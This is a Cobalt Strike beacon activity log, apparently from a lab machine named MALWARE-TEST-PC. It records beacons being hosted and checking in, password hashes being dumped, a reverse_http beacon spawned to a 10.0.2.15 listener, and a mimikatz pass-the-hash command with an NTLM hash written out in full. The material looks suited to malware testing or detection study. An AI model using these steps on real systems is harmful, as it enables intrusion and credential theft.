date	host	user	pid	activity
02/08 19:47				hosted file /home/hoax/Desktop/Cobalt Strike4.2 with kit/uploads/beacon.exe @ http://10.0.2.15:80/download/
02/08 19:51				visit to /download/ (page Serves /home/hoax/Desktop/Cobalt Strike4.2 with kit/uploads/beacon.exe) by 10.0.2.15
02/08 19:57				visit to /download/ (page Serves /home/hoax/Desktop/Cobalt Strike4.2 with kit/uploads/beacon.exe) by 10.0.2.25
02/08 19:58	MALWARE-TEST-PC	malware-test *	3104	[download.exe] initial beacon
02/08 19:59	MALWARE-TEST-PC	malware-test *	3104	dump hashes
02/08 19:59	MALWARE-TEST-PC	malware-test *	3104	host called home, sent: 82541 bytes
02/08 19:59	MALWARE-TEST-PC	malware-test *	3104	received password hashes
02/08 20:00	MALWARE-TEST-PC	malware-test *	3104	host called home, sent: 12 bytes
02/08 20:02	MALWARE-TEST-PC	malware-test *	3104	inline-execute /home/hoax/Desktop/hello.o
02/08 20:04				hosted file /home/hoax/Desktop/Cobalt Strike4.2 with kit/uploads/beacon64.exe @ http://10.0.2.15:80/download/beacon64.exe
02/08 20:04				visit to /download/beacon64.exe (page Serves /home/hoax/Desktop/Cobalt Strike4.2 with kit/uploads/beacon64.exe) by 10.0.2.25
02/08 20:05	MALWARE-TEST-PC	malware-test *	3104	spawn (x86) windows/beacon_http/reverse_http (10.0.2.15:8080)
02/08 20:05	MALWARE-TEST-PC	malware-test *	3104	host called home, sent: 208392 bytes
02/08 20:05	MALWARE-TEST-PC	malware-test *	712	[rundll32.exe] initial beacon

date	host	user	pid	activity
02/08 20:06	MALWARE-TEST-PC	malware-test *	516	[beacon64.exe] initial beacon
02/08 20:07	MALWARE-TEST-PC	malware-test *	516	inline-execute /home/hoax/Desktop/hello.o
02/08 20:07	MALWARE-TEST-PC	malware-test *	516	host called home, sent: 137 bytes
02/08 20:11	MALWARE-TEST-PC	malware-test *	516	Running whoami
02/08 20:12	MALWARE-TEST-PC	malware-test *	516	host called home, sent: 5837 bytes
02/08 20:13	MALWARE-TEST-PC	malware-test *	712	get userid
02/08 20:13	MALWARE-TEST-PC	malware-test *	712	host called home, sent: 8 bytes
02/08 20:14	MALWARE-TEST-PC	malware-test *	516	revert token
02/08 20:14	MALWARE-TEST-PC	malware-test *	516	run mimikatz's sekurlsa::pth /user:malware-test /domain:MALWARE-TEST-PC / ntlm:329153f560eb329c0e1deea55e88a1e9 / run:"%COMSPEC% /c echo 2a21a367221 > \\.\pipe\ef02b8" command
02/08 20:15	MALWARE-TEST-PC	malware-test *	516	host called home, sent: 296086 bytes